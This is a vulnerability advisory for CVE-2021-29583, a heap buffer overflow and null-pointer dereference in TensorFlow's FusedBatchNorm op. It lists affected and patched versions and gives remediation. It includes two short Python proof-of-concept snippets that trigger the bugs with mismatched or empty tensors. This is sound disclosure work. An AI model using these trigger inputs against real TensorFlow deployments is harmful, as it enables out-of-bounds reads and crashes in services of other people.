---
id: CVE-2021-29583
aliases:
  - GHSA-9xh4-23q4-v6wr
  - BIT-tensorflow-2021-29583
  - PYSEC-2021-220
  - PYSEC-2021-511
  - PYSEC-2021-709
title: Heap buffer overflow and undefined behavior in `FusedBatchNorm`
summary: Heap buffer overflow and undefined behavior in `FusedBatchNorm`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-9xh4-23q4-v6wr'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29583'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-511.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-709.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-220.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00211
epssPercentile: 0.11653
ingestedAt: '2026-07-08T18:25:48.120Z'
---

## Overview

### Impact
The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:
      
```python
import tensorflow as tf

x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
    
tf.raw_ops.FusedBatchNorm(
  x=x, scale=scale, offset=offset, mean=mean, variance=variance,
  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
  data_format=data_format, is_training=is_training)
```
  
If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:

```python 
import tensorflow as tf
import numpy as np

x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
  x=x, scale=scale, offset=offset, mean=mean, variance=variance, 
  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
  data_format=data_format, is_training=is_training)
``` 

The  [implementation](https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.

If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.

### Patches
We have patched the issue in GitHub commit [6972f9dfe325636b3db4e0bc517ee22a159365c0](https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`